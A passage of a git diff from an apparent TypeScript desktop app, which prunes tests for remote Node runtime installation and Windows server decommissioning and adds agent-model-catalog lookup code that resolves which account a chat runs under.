b/src/main/managed-server/install/orcad-remote-node-runtime-host-fallback.test.ts @@ -1,7 +1,5 @@ import type * as ExecCommandModule from '../../ssh/remote-exec/remote-exec-command' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' + import { afterEach, describe, expect, it, vi } from 'vitest' import { ensureRemoteOrcadNodeRuntime } from './orcad-remote-node-runtime' import { @@ -11,14 +9,9 @@ import { import { execCommand } from '../../ssh/remote-exec/remote-exec-command' import { uploadRemoteInstallDirectory } from './remote-install-transfers' import { getRemoteHostPlatform } from '../../ssh/ssh-remote-platform' -import { pinnedNodeRuntimeAsset } from '../../../shared/node-runtime-pin' -import { DesktopDownloadUnreachableError } from '../../node-runtime/pinned-runtime-materializer' -import { setNodeDistMirrorSettingReader } from '../../node-runtime/node-dist-mirror-setting' -import { - HOST_NODE_DOWNLOAD_FAILED, - HOST_NODE_DOWNLOAD_OK, - NodeRuntimeUnreachableError -} from './remote-node-runtime-host-download' + +import { HOST_NODE_DOWNLOAD_OK } from './remote-node-runtime-host-download' + import { unusedOrcadHostTransport } from '../../ssh/unused-host-transport.test-fixture' vi.mock('../../ssh/remote-exec/remote-exec-command', async (importOriginal) => ({ @@ -33,7 +26,6 @@ const conn = unusedOrcadHostTransport() const host = getRemoteHostPlatform('linux-x64') const TARGET = 'linux-x64-glibc' const OFFLINE_PATH = '/Users/me/Library/Application Support/Orca/orcad-artifacts/node/archives/x' -const refused = (): Promise => Promise.reject(new Error('net::ERR_CONNECTION_REFUSED')) afterEach(() => { vi.mocked(execCommand).mockReset() @@ -72,18 +64,6 @@ function ensure(archivePath: () => Promise, signal?: AbortSignal) { } describe('pinned Node when this computer cannot download it', () => { - it('has the host download it and promotes that copy, with nothing uploaded', async () => { - const commands = freshHost(HOST_NODE_DOWNLOAD_OK) - - const result = await ensure(refused) - - expect(result.transfer).toBe('host-downloaded') - expect(uploadRemoteInstallDirectory).not.toHaveBeenCalled() - const promote = commands.find((command) => command.includes('tar -xzf')) - expect(promote).toContain(pinnedNodeRuntimeAsset(TARGET).archive) - expect(promote).toContain(pinnedNodeRuntimeAsset(TARGET).executableSha256) - }) - it('also tries the host when the desktop got a file that failed the pin', async () => { freshHost(HOST_NODE_DOWNLOAD_OK) const blockPage = () => Promise.reject(new Error('Node archive checksum mismatch')) @@ -91,68 +71,6 @@ describe('pinned Node when this computer cannot download it', () => { await expect(ensure(blockPage)).resolves.toMatchObject({ transfer: 'host-downloaded' }) }) - it('names both attempts and the offline copy path when the host cannot download either', async () => { - freshHost( - `${HOST_NODE_DOWNLOAD_FAILED}\nORCA_RUNTIME_EXIT=7\ncurl: (7) Failed to connect to nodejs.org` - ) - - const failure = await ensure(refused).catch((error: unknown) => error) - - expect(failure).toBeInstanceOf(NodeRuntimeUnreachableError) - const message = String(failure) - expect(message).toContain('net::ERR_CONNECTION_REFUSED') - expect(message).toContain('curl: (7) Failed to connect to nodejs.org') - expect(message).toContain(OFFLINE_PATH) - expect(message).toContain('Settings > Advanced > Network > Node.js download mirror') - expect(message).toContain("NODEJS_ORG_MIRROR in this computer's environment") - expect(failure).toMatchObject({ mirror: 'unset' }) - expect(uploadRemoteInstallDirectory).not.toHaveBeenCalled() - }) - - it('records that both attempts went through the configured mirror', async () => { - freshHost(`${HOST_NODE_DOWNLOAD_FAILED}\nmirror: curl exit 7`) - setNodeDistMirrorSettingReader(() => 'https://npmmirror.com/mirrors/node') - try { - const failure = await ensure(refused).catch((error: unknown) => error) - expect(failure).toMatchObject({ name: 'NodeRuntimeUnreachableError', mirror: 'tried' }) - expect(String(failure)).toContain('check the mirror of nodejs.org/dist in Settings') - } finally { - setNodeDistMirrorSettingReader(null) - } - }) - - it('offers no mirror for a build nodejs.org/dist does not carry', async () => { - freshHost(`${HOST_NODE_DOWNLOAD_FAILED}\nnodejs.org: curl exit 7`) - const failure = await ensureRemoteOrcadNodeRuntime({ - conn, - host: getRemoteHostPlatform('linux-arm64'), - slotDir: '/home/me/.orca-remote/orcad-0.1.0+abc', - target: 'linux-arm64-musl', - archivePath: refused - }).catch((error: unknown) => error) - expect(failure).toMatchObject({ name: 'NodeRuntimeUnreachableError', mirror: 'unsupported' }) - expect(String(failure)).not.toContain('Node.js download mirror') - }) - - it("quotes only this computer's short reason, not its standalone advice", async () => { - freshHost(`${HOST_NODE_DOWNLOAD_FAILED}\nnodejs.org: curl exit 7`) - const desktop = () => - Promise.reject( - new DesktopDownloadUnreachableError( - "This computer couldn't download Node ... so the host doesn't need internet access", - 'https://nodejs.org/dist/x: net::ERR_CONNECTION_REFUSED', - new Error('net::ERR_CONNECTION_REFUSED') - ) - ) - - const message = String(await ensure(desktop).catch((error: unknown) => error)) - - expect(message).toContain( - 'This computer: https://nodejs.org/dist/x: net::ERR_CONNECTION_REFUSED.' - ) - expect(message).not.toContain("the host doesn't need internet access") - }) - it('does not try the host once the connect was cancelled', async () => { const commands = freshHost(HOST_NODE_DOWNLOAD_OK) const controller = new AbortController() @@ -164,18 +82,4 @@ describe('pinned Node when this computer cannot download it', () => { await expect(ensure(cancelled, controller.signal)).rejects.toThrow('aborted') expect(commands.some((command) => command.includes('command -v curl'))).toBe(false) }) - - it('still uploads the desktop copy when there is one', async () => { - const commands = freshHost(HOST_NODE_DOWNLOAD_OK) - const cache = mkdtempSync(join(tmpdir(), 'orca-runtime-cache-')) - const archive = join(cache, pinnedNodeRuntimeAsset(TARGET).archive) - writeFileSync(archive, 'archive') - try { - await expect(ensure(async () => archive)).resolves.toMatchObject({ transfer: 'uploaded' }) - expect(uploadRemoteInstallDirectory).toHaveBeenCalledTimes(1) - expect(commands.some((command) => command.includes('command -v curl'))).toBe(false) - } finally { - rmSync(cache, { recursive: true, force: true }) - } - }) }) diff --git a/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts b/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts deleted file mode 100644 index a4a06a421a3..00000000000 --- a/src/main/managed-server/install/orcad-remote-windows-decommission.test.ts +++ /dev/null @@ -1,173 +0,0 @@ -import type * as ExecCommandModule from '../../ssh/remote-exec/remote-exec-command' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as RecordFile from './orcad-remote-record-file' -import type * as InstallLock from './remote-install-lock' - -vi.mock('../../ssh/remote-exec/remote-exec-command', async (importOriginal) => ({ - ...(await importOriginal()), - execCommand: vi.fn() -})) -vi.mock('./remote-install-lock', async (importOriginal) => ({ - ...(await importOriginal()), - acquireInstallLock: vi.fn().mockResolvedValue(undefined) -})) -vi.mock('./orcad-remote-record-file', async (importOriginal) => ({ - ...(await importOriginal()), - writeAtomicOrcadRemoteRecord: vi.fn().mockResolvedValue(undefined) -})) -vi.mock('./remote-install-gc', async (importOriginal) => ({ - ...(await importOriginal>()), - gcOldRemoteInstallVersions: vi.fn().mockResolvedValue(undefined) -})) - -import { execCommand } from '../../ssh/remote-exec/remote-exec-command' -import { writeAtomicOrcadRemoteRecord } from './orcad-remote-record-file' -import { gcOldRemoteInstallVersions } from './remote-install-gc' -import { decommissionRemoteOrcad } from './orcad-remote-decommission' -import { gcOldOrcadVersions } from './orcad-remote-gc' -import { - emptyOrcadActivationRecord, - withActivatedVersion -} from '../activation/orcad-activation-record' -import { getRemoteHostPlatform } from '../../ssh/ssh-remote-platform' - -const mockExec = vi.mocked(execCommand) -const host = getRemoteHostPlatform('win32-x64') -const VERSION = '0.2.0+bb01' -const SLOT_NODE = 'C:\\Users\\u\\.orca-remote\\runtimes\\node-ab\\node.exe' -const record = withActivatedVersion(emptyOrcadActivationRecord(), VERSION, null, new Date(0)) -const encoded = (marker: string, value: string): string => - `${marker} ${Buffer.from(value).toString('base64')}\r\n` -const lock = { - pid: 4242, - startedAtMs: 1_700_000_000_123, - identity: 'u', - version: VERSION, - acquiredAt: '2026-10-01T00:00:00.000Z', - nonce: 'nonce-1' -} - -function conn() { - return Object.assign(Object.create(null), { writeFile: vi.fn().mockResolvedValue(undefined) }) -} - -beforeEach(() => { - vi.clearAllMocks() -}) - -describe('decommissioning a Windows orcad', () => { - it('stops it by a staged managed request and records that nothing serves', async () => { - const log: string[] = [] - mockExec.mockImplementation(async (_conn, command: string) => { - const text = String(command) - log.push(text) - const op = /\.js (?:--fence \S+ \S+ )?([a-z-]+)(?: |$)/u.exec(text)?.[1] ?? '' - if (op === 'record-read') { - if (text.includes('orcad-active.json')) { - return encoded('__ORCAD_RECORD_PRESENT__', JSON.stringify(record)) - } - return text.includes('orcad.lock') - ? encoded('__ORCAD_RECORD_PRESENT__', JSON.stringify(lock)) - : '__ORCAD_RECORD_ABSENT__\r\n' - } - if (op === 'readiness-wait') { - return encoded( - '__ORCAD_READINESS__', - `${JSON.stringify({ type: 'orca_server_ready', runtimeId: 'r1', health: { pid: 4242, stopRequests: 1 } })}\n` - ) - } - if (op === 'slot-runtime') { - return encoded('__ORCAD_RUNTIME__', SLOT_NODE) - } - if (op === 'fence-check') { - return 'OK' - } - if (op === 'fence-release') { - return 'RELEASED' - } - if (op === 'remove-file' || op === 'remove-tree') { - return '' - } - if (text.includes('--complete-managed-stop')) { - const staged = /--request-file (\S+)/u.exec(text)?.[1] ?? '' - const writes = vi.mocked(options.conn.writeFile).mock.calls - const request = JSON.parse(String(writes.find(([path]) => path === staged)?.[1])) - return `${JSON.stringify({ ...request, kind: 'orcad_managed_stop_completion', verdict: 'exited', receiptPersisted: true, retirement: 'retired' })}\r\n` - } - throw new Error(`unexpected Windows command: ${text}`) - }) - const options = { - conn: conn(), - host, - remoteHome: 'C:/Users/u', - nodePath: 'C:/host/node.exe', - userDataDir: 'C:/Users/u/.orca', - bindHost: '127.0.0.1', - port: 7777, - record, - census: { liveSessions: 0, startedSinceActivation: 0, daemonProtocolVersion: 3 }, - now: () => new Date('2026-10-02T00:00:00.000Z') - } - expect(await decommissionRemoteOrcad(options)).toEqual({ - outcome: 'decommissioned', - version: VERSION, - retirement: 'retired' - }) - const written = vi - .mocked(writeAtomicOrcadRemoteRecord) - .mock.calls.find(([, path]) => path.endsWith('orcad-active.json')) - expect(JSON.parse(written?.[2] ?? '{}')).toMatchObject({ active: null, previous: VERSION }) - for (const command of log) { - expect(command).not.toMatch(/EncodedCommand|kill |SIGTERM|taskkill|Stop-Process/u) - expect(command).not.toContain('nonce-1') - } - expect(log.some((command) => command.startsWith(`${SLOT_NODE} `))).toBe(true) - }) -}) - -describe('Windows orcad GC', () => { - const gcOptions = () => ({ - conn: conn(), - host, - remoteHome: 'C:/Users/u', - currentDirAbsPath: 'C:/Users/u/.orca-remote/orcad-0.3.0+cc01', - record - }) - - async function screen(answer: string | Error): Promise { - mockExec.mockImplementation(async (_conn, command: string) => { - if (String(command).includes(' record-read ')) { - return '__ORCAD_RECORD_ABSENT__\r\n' - } - if (String(command).startsWith('powershell.exe ')) { - return 'OPEN' - } - if (answer instanceof Error) { - throw answer - } - return answer - }) - await gcOldOrcadVersions(gcOptions()) - const passOptions = vi.mocked(gcOldRemoteInstallVersions).mock.calls[0]?.[5] - return ( - (await passOptions?.resolveExtraPinnedDirNames?.(['orcad-a', 'orcad-b', 'orcad-c'])) ?? null - ) - } - - it('screens every candidate in one node.exe and pins all but the proven dead', async () => { - expect(await screen('__ORCAD_LIVENESS__ LIVE,DEAD,UNKNOWN\r\n')).toEqual(['orcad-a', 'orcad-c']) - const screens = mockExec.mock.calls.filter(([, command]) => - String(command).includes('liveness-many') - ) - expect(screens).toHaveLength(1) - expect(String(screens[0]?.[1])).toContain( - 'C:/Users/u/.orca-remote/orcad-a C:/Users/u/.orca-remote/orcad-b C:/Users/u/.orca-remote/orcad-c' - ) - }) - - it('deletes nothing when the host cannot answer for every candidate', async () => { - expect(await screen('__ORCAD_LIVENESS__ DEAD,DEAD\r\n')).toBeNull() - vi.clearAllMocks() - expect(await screen(new Error('exit 1'))).toBeNull() - }) -}) diff --git a/src/main/managed-server/install/remote-node-runtime-store-windows.test.ts b/src/main/managed-server/install/remote-node-runtime-store-windows.test.ts index 82e23e99c69..ec9a65065c2 100644 --- a/src/main/managed-server/install/remote-node-runtime-store-windows.test.ts +++ b/src/main/managed-server/install/remote-node-runtime-store-windows.test.ts @@ -27,8 +27,6 @@ const conn = unusedSshConnection() const host = getRemoteHostPlatform('win32-x64') const mockExec = vi.mocked(execCommand) const sha = (c: string): string => c.repeat(64) -const root = 'C:/Users/ada/.orca-remote' -const store = `${root}/runtimes` const powerShell = [ process.env.ORCA_POWERSHELL_EXECUTABLE, @@ -41,49 +39,6 @@ const powerShell = [ }).status === 0 ) -describe('Windows runtime store commands', () => { - it('stay inside the EDR posture: one encoded powershell.exe line, no policy switch, no compilation', () => { - for (const command of [ - windowsRuntimeStoreInventoryCommand(root), - windowsSweepStaleRuntimeStagesCommand(store, 20, 'SWEPT') - ]) { - expect(command).toMatch(/^powershell\.exe -NoProfile -NonInteractive -EncodedCommand \S+$/) - expect(decodeRemotePowerShellScript(command)).not.toMatch( - /ExecutionPolicy|Add-Type|\.ps1|Import-Module/ - ) - } - }) - - it('finds process holds by image path under runtimes\\, never by image name', () => { - const script = decodeRemotePowerShellScript(windowsRuntimeStoreInventoryCommand(root)) - expect(script).toContain( - `Get-CimInstance -ClassName Win32_Process -Filter "ExecutablePath LIKE '%\\\\runtimes\\\\%'" -Property ExecutablePath -ErrorAction Stop` - ) - expect(script).not.toMatch(/Name\s*=|node\.exe|ProcessName/) - expect(script.indexOf("Write-Output 'PROCESS_CHECK cim'")).toBeGreaterThan( - script.indexOf('Get-CimInstance') - ) - }) - - it('falls back to Get-Process image paths when WMI refuses a standard user', () => { - const script = decodeRemotePowerShellScript(windowsRuntimeStoreInventoryCommand(root)) - const fallback = script.slice(script.indexOf("Write-Output 'PROCESS_CHECK cim'")) - expect(fallback).toContain( - "Get-Process -ErrorAction Stop | Where-Object { $_.Path -and $_.Path.IndexOf('\\runtimes\\', [StringComparison]::OrdinalIgnoreCase) -ge 0 }" - ) - expect(fallback.indexOf("Write-Output 'PROCESS_CHECK process'")).toBeGreaterThan( - fallback.indexOf('Get-Process') - ) - }) - - it('reads both ref shapes from every sibling of runtimes\\', () => { - const script = decodeRemotePowerShellScript(windowsRuntimeStoreInventoryCommand(root)) - expect(script).toContain("Join-Path $d.FullName '.runtime-node'") - expect(script).toContain("$_.Name.StartsWith('.runtime-ref-node-')") - expect(script).toContain("$_.Name -ne 'runtimes'") - }) -}) - describe('parseRuntimeStoreInventory with Windows output', () => { it('takes holds from backslash image paths in any case, tombstones included', () => { const inventory = parseRuntimeStoreInventory( diff --git a/src/main/muse/hook-service.test.ts b/src/main/muse/hook-service.test.ts index 58e9c389d4d..75e9db2795e 100644 --- a/src/main/muse/hook-service.test.ts +++ b/src/main/muse/hook-service.test.ts @@ -55,10 +55,6 @@ const scriptPath = (): string => ) describe('MuseHookService', () => { - it('reports not_installed before install', () => { - expect(new MuseHookService().getStatus().state).toBe('not_installed') - }) - it('installs the managed hooks pointer, file, and script', () => { const status = new MuseHookService().install() expect(status.state).toBe('installed') @@ -105,17 +101,6 @@ describe('MuseHookService', () => { expect(afterRemove?.model).toBe('muse-spark-1.2') }) - it('reports not_installed when the pointer aims elsewhere', () => { - mkdirSync(join(home, '.config', 'muse'), { recursive: true }) - writeFileSync( - configPath(), - JSON.stringify({ schema_version: 1, managed_hooks_path: '/central/hooks.json' }) - ) - const status = new MuseHookService().getStatus() - expect(status.state).toBe('not_installed') - expect(status.detail).toContain('/central/hooks.json') - }) - it('does not overwrite a user-managed hooks pointer during install', () => { mkdirSync(join(home, '.config', 'muse'), { recursive: true }) const userPath = '/user-owned/muse-hooks.json' diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint.ts index 074129f181b..181d9967caf 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint.ts @@ -40,7 +40,8 @@ export function agentModelCatalogFingerprint(identity: AgentModelCatalogIdentity .digest('hex') } -/** Use the account pinned at launch, regardless of later account selection. */ +/** The catalog of the account in `record.accountHome`; a session's reads and saves pass the account + * it runs on there, which differs from the one it was created under once the selection moved. */ export function agentModelCatalogIdentityForRecord( record: Pick ): AgentModelCatalogIdentity { diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-live-listings.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-live-listings.ts index b13d8b3187b..919a068b679 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-live-listings.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-live-listings.ts @@ -1,3 +1,4 @@ +import { onLiveAccount } from './agent-model-catalog-running-account' import type { AgentSessionRecord } from '../../../shared/agent-session-record' import type { AgentModelCatalogLiveListing } from './agent-model-catalog-store' import type { @@ -123,12 +124,13 @@ export function createAgentModelCatalogLiveListings( captureSource, retireContext, providerStarted(record: AgentSessionRecord, source?: () => boolean) { + const liveRecord = onLiveAccount(deps, record) const receipt = leaseWorkspace(record.location.workspaceId) const current = () => receipt.current() && source?.() !== false && deps.getRecord(record.sessionId)?.lease.runtimeFence === record.lease.runtimeFence - void sessionCatalogKey(record) + void sessionCatalogKey(liveRecord) .then((fingerprint) => { if (current()) { deps.store.expireFailure(fingerprint) @@ -151,6 +153,7 @@ export function createAgentModelCatalogLiveListings( ) { return } + const liveRecord = onLiveAccount(deps, record) const receipt = leaseWorkspace(record.location.workspaceId) const current = () => receipt.current() && @@ -162,9 +165,9 @@ export function createAgentModelCatalogLiveListings( } if (!deps.listsInChatFolder?.has(record.provider)) { void saveLiveListing( - record, + liveRecord, listing, - agentModelCatalogFingerprintForRecord(record), + agentModelCatalogFingerprintForRecord(liveRecord), current ).finally(receipt.release) return @@ -172,7 +175,7 @@ export function createAgentModelCatalogLiveListings( // In report order: a folder lookup that resolves late must not let an older listing land last. const writing = (liveWrites.get(sessionId) ?? Promise.resolve()) .then(async () => - saveLiveListing(record, listing, await sessionCatalogKey(record), current) + saveLiveListing(liveRecord, listing, await sessionCatalogKey(liveRecord), current) ) .catch((error: unknown) => { console.warn('[agent-model-catalog] could not save a chat model list:', error) diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-lookup.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-lookup.ts new file mode 100644 index 00000000000..374abb8b3d3 --- /dev/null +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-lookup.ts @@ -0,0 +1,237 @@ +import type { AgentSessionAccountHome } from '../../../shared/agent-session-record' +import type { PrioritySemaphore } from '../../../shared/priority-semaphore' +import type { + AgentModelCatalogReadParams, + AgentModelCatalogServiceDeps +} from './agent-model-catalog-service-contract' +import type { AgentModelCatalogReadOperation } from './agent-model-catalog-operation' +import { agentModelCatalogReadRecords } from './agent-model-catalog-read-scope' +import { agentModelCatalogFingerprintForRecord } from './agent-model-catalog-fingerprint' +import { scopedAgentModelCatalogLister } from './agent-model-catalog-lister' +import { newChatCatalogKey } from './agent-model-catalog-prewarm' +import { + catalogFolder, + sessionWorkspacePath, + projectAgentModelCatalogDefault +} from './agent-model-catalog-workspace' +import { resolveAgentModelCatalogScope } from './agent-model-catalog-scope' +import { independentAgentModelCatalog } from './agent-model-catalog-discovery' +import { + agentModelCatalogReleasedOwner, + type AgentModelCatalogBinding +} from './agent-model-catalog-snapshot' +import { + AGENT_MODEL_CATALOG_PICKER_WAIT_MS, + runAgentModelCatalogOperation +} from './agent-model-catalog-listing-waiters' + +export type AgentModelCatalogClaim = Pick< + AgentModelCatalogBinding, + 'identity' | 'params' | 'current' +> & { + controller: AbortController + promise: Promise + ready: Promise +} + +export function createAgentModelCatalogLookup( + deps: AgentModelCatalogServiceDeps, + lifetime: AbortController, + admission: PrioritySemaphore, + bindings: Map, + claims: Map, + requestKey: (params: AgentModelCatalogReadParams) => string, + capture: (params: AgentModelCatalogReadParams) => string, + captureRead: (params: AgentModelCatalogReadParams) => AgentModelCatalogReadOperation +) { + return (params: AgentModelCatalogReadParams): Promise => { + const operation = params.operation ?? captureRead(params) + const deadline = operation.deadline ?? Date.now() + AGENT_MODEL_CATALOG_PICKER_WAIT_MS + const remaining = deadline - Date.now() + if (!operation.current() || remaining <= 0) { + return Promise.resolve() + } + const bindingKey = requestKey(params) + const key = params.savedOnly ? `${bindingKey}:saved` : bindingKey + let identity = capture(params) + const workspaceIdentity = operation.workspaceIdentity + let coldWorkspace = params.workspace !== undefined && workspaceIdentity === null + const retirement = operation.retirement + const previous = claims.get(key) + if (previous?.identity === identity) { + return previous.promise + } + previous?.controller.abort() + const controller = operation.controller + const ready = Promise.withResolvers() + const valid = (): boolean => + Date.now() < deadline && + !controller.signal.aborted && + !lifetime.signal.aborted && + operation.current() && + deps.store.retirementRevision(params.agent) === retirement && + requestKey(params) === bindingKey && + (coldWorkspace || capture(params) === identity) + const current = (): boolean => valid() && claims.get(key)?.controller === controller + const run = async (): Promise => { + if (!current()) { + return + } + const records = agentModelCatalogReadRecords(deps, params) + if (!records) { + return + } + const { record, scoped } = records + const savedOnly = params.savedOnly || records.savedOnly + let workspacePath: string | null | undefined + if (params.workspace) { + const resolved = await params.workspace.resolve().catch(() => undefined) + if (!current() || resolved === undefined) { + return + } + if (resolved !== null && typeof resolved === 'object') { + if ( + resolved.identity === null || + params.workspace.identity() !== resolved.identity || + (!coldWorkspace && workspaceIdentity !== resolved.identity) + ) { + return + } + identity = capture(params) + const claim = claims.get(key) + if (claim?.controller !== controller) { + return + } + claim.identity = identity + workspacePath = resolved.path + } else { + workspacePath = resolved + } + coldWorkspace = false + } else { + workspacePath = + params.inSessionWorkspace || + (record && + params.workspacePath === undefined && + !params.legacy && + deps.agentReadsProjectModelConfig?.(params.agent) === true) + ? record + ? await sessionWorkspacePath(deps, record) + : null + : params.workspacePath + } + if (!current()) { + return + } + const folder = await catalogFolder(deps, params.agent, workspacePath, scoped) + if (!current()) { + return + } + let fingerprint: string + let probeHome: AgentSessionAccountHome | null + if (scoped) { + fingerprint = agentModelCatalogFingerprintForRecord(scoped, folder) + // Native probes cannot list a WSL-pinned account. + probeHome = + scoped.location.executionHostId === 'local' && scoped.location.wslDistro === null + ? scoped.accountHome + : null + } else { + const key = await newChatCatalogKey(deps, params.agent, folder) + if (!current() || !key) { + return + } + fingerprint = key.fingerprint + probeHome = key.accountHome + } + const scope = await resolveAgentModelCatalogScope( + deps, + { ...params, workspacePath, savedOnly }, + scoped, + fingerprint, + probeHome, + current, + { deadline, current, signal: AbortSignal.any([controller.signal, operation.signal]) } + ) + if (!current() || !scope) { + return + } + const { base, exact, resolved, cwd } = scope + fingerprint = scope.fingerprint + let bindingCurrent = true + const bound: AgentModelCatalogBinding = { + identity, + params, + current: () => + bindingCurrent && + !lifetime.signal.aborted && + deps.store.retirementRevision(params.agent) === retirement, + workspaceId: record?.location.workspaceId, + cancel: () => { + bindingCurrent = false + controller.abort() + }, + fingerprint, + base, + exact, + folder, + cwd, + workspacePath, + keepDefault: + workspacePath === undefined || + (workspacePath === null && independentAgentModelCatalog(params.agent)) + } + bindings.set(bindingKey, bound) + while (bindings.size > 256) { + const oldest = bindings.keys().next().value + if (oldest !== undefined) { + bindings.delete(oldest) + } + } + bound.projecting = projectAgentModelCatalogDefault( + deps, + params.agent, + bound, + probeHome, + () => valid() && bindings.get(bindingKey) === bound + ) + if (savedOnly) { + await bound.projecting + return + } + if (!exact && agentModelCatalogReleasedOwner(scoped)) { + return + } + const probe = deps.probes?.[params.agent] + const signal = AbortSignal.any([lifetime.signal, controller.signal, operation.signal]) + const list = scopedAgentModelCatalogLister({ + legacy: params.legacy, + operation: { deadline, current, signal }, + canList: () => !record || !!deps.getRecord(record.sessionId), + admission, + signal, + resolved, + probe, + probeHome, + workspacePath: cwd ?? folder + }) + if (probe && probeHome && deps.store.probeDue(fingerprint)) { + void deps.store.refresh(fingerprint, params.agent, list, current, signal) + } + // Demand owns ingestion until settlement, even when its caller only needs the snapshot. + ready.resolve() + const pending = deps.store.pendingListing(fingerprint, true, true) + if (pending) { + await pending + } + } + const promise = runAgentModelCatalogOperation(run, remaining, controller, () => { + ready.resolve() + if (claims.get(key)?.controller === controller) { + claims.delete(key) + } + }) + claims.set(key, { identity, controller, promise, ready: ready.promise, params, current }) + return promise + } +} diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-operation.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-operation.ts new file mode 100644 index 00000000000..9199ecbad11 --- /dev/null +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-operation.ts @@ -0,0 +1,88 @@ +import type { + AgentModelCatalogReadParams, + AgentModelCatalogServiceDeps +} from './agent-model-catalog-service-contract' +import { agentModelCatalogRequestKey } from './agent-model-catalog-snapshot' +import { + AGENT_MODEL_CATALOG_PICKER_WAIT_MS, + runAgentModelCatalogOperation +} from './agent-model-catalog-listing-waiters' + +export type AgentModelCatalogReadOperation = { + deadline?: number + retirement: number + workspaceIdentity?: unknown + signal: AbortSignal + current: () => boolean + controller: AbortController +} + +/** Capture the original invocation before the caller awaits its receiving owner. */ +export function captureAgentModelCatalogRead( + deps: AgentModelCatalogServiceDeps, + lifetime: AbortSignal, + params: AgentModelCatalogReadParams +): AgentModelCatalogReadOperation { + const deadline = + params.deadline ?? + (!params.savedOnly ? Date.now() + AGENT_MODEL_CATALOG_PICKER_WAIT_MS : undefined) + const retirement = deps.store.retirementRevision(params.agent) + const workspaceIdentity = params.workspace?.identity() + const original = { ...params, records: undefined, operation: undefined } + const identity = agentModelCatalogRequestKey(deps, original) + const controller = new AbortController() + const signal = AbortSignal.any([lifetime, controller.signal]) + return { + deadline, + retirement, + workspaceIdentity, + signal, + controller, + current: () => + !signal.aborted && + (deadline === undefined || Date.now() < deadline) && + deps.store.retirementRevision(params.agent) === retirement && + (workspaceIdentity === null || params.workspace?.identity() === workspaceIdentity) && + agentModelCatalogRequestKey(deps, original) === identity + } +} + +/** Reuse the existing bounded operation while the host, rather than the core, acquires scope. */ +export async function withinAgentModelCatalogRead( + operation: AgentModelCatalogReadOperation, + read: () => Promise +): Promise { + if (!operation.current()) { + return undefined + } + let result: { value: T } | { error: unknown } | undefined + const run = async () => { + try { + const value = await read() + if (operation.current()) { + result = { value } + } + } catch (error) { + if (operation.current()) { + result = { error } + } + } + } + if (operation.deadline === undefined) { + await run() + } else if (operation.current()) { + await runAgentModelCatalogOperation( + run, + operation.deadline - Date.now(), + operation.controller, + () => {} + ) + } + if (!operation.current() || !result) { + return undefined + } + if ('error' in result) { + throw result.error + } + return result.value +} diff --git a/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.test.ts b/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.test.ts index 7d904d1c1ec..81c54f915ac 100644 --- a/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.test.ts +++ b/src/main/native-chat/agent-model-catalog/agent-model-catalog-prewarm.test.ts @@ -1,7 +1,14 @@ +import { resolveAgentModelCatalogReadRecords } from './agent-model-catalog-running-account' import { agentSessionRecordFixture } from '../agent-session-record-test-fixture' import { agentSessionConversationView } from '../../../shared/agent-session-conversation-view' import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' +import { mkdirSync, mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' import { describe, expect, it, vi } from 'vitest' +import { ClaudeProfileRouter } from '../../claude-accounts/claude-profile-router' +import { installClaudeProfileRouter } from '../../claude-accounts/claude-profile-installed-router' +import { resolveStructuredClaudeAccountHomePath } from '../../runtime/structured-agent-account-home' import type { AgentSessionRecord } from '../../../shared/agent-session-record' import { @@ -466,6 +473,147 @@ describe('one account, one catalog key', () => { const read = await service.read({ agent: 'grok', waitForListing: true }) expect(read.origin !== 'unknown' && read.models.map((model) => model.id)).toEqual(['gpt-live']) }) + + it('a chat that moved accounts lists under the account it runs on, never its first one', async () => { + const store = new AgentModelCatalogStore() + const founded = record('/accounts/a') + let live: AgentSessionAccountHome | undefined = HOME('GROK_HOME', '/accounts/b') + const launchAccountHome = vi.fn(async (): Promise => + HOME('GROK_HOME', '/accounts/c') + ) + const service = createAgentModelCatalogService({ + store, + getConversation: () => agentSessionConversationView(founded), + getRecord: () => founded, + drivesRecord: () => true, + resolveAccountHome: async () => HOME('GROK_HOME', '/accounts/c'), + liveAccountHome: () => live + }) + service.recordLiveListing('session-1', { models: listing('on-b').models }) + const keyOf = (path: string) => agentModelCatalogFingerprintForRecord(record(path)) + expect(store.get(keyOf('/accounts/a'))).toBeNull() + expect(store.get(keyOf('/accounts/b'))?.models.map((model) => model.id)).toEqual(['on-b']) + const ids = async () => { + const params = { agent: 'grok', sessionId: 'session-1', savedOnly: true } + const operation = service.captureRead(params) + const records = await resolveAgentModelCatalogReadRecords( + { + getConversation: () => agentSessionConversationView(founded), + getRecord: () => founded, + drivesRecord: () => true, + liveAccountHome: () => live, + launchAccountHome + }, + params + ) + const read = await service.read({ ...params, records, operation }) + return read.origin === 'unknown' ? null : read.models.map((model) => model.id) + } + expect(await ids()).toEqual(['on-b']) + expect(launchAccountHome).not.toHaveBeenCalled() + // At rest, the chat reads the account its next start launches under. + live = undefined + expect(await ids()).toBeNull() + store.recordSuccess(keyOf('/accounts/a'), 'grok', listing('on-a'), 'discovery') + launchAccountHome.mockResolvedValueOnce(null) + expect(await ids()).toEqual(['on-a']) + }) + + it('does not read A while selected B is missing, and recovers on the next read', async () => { + const root = mkdtempSync(join(tmpdir(), 'chat-account-switch-catalog-')) + const router = new ClaudeProfileRouter({ + dataRoot: root, + userHome: join(root, 'personal'), + env: 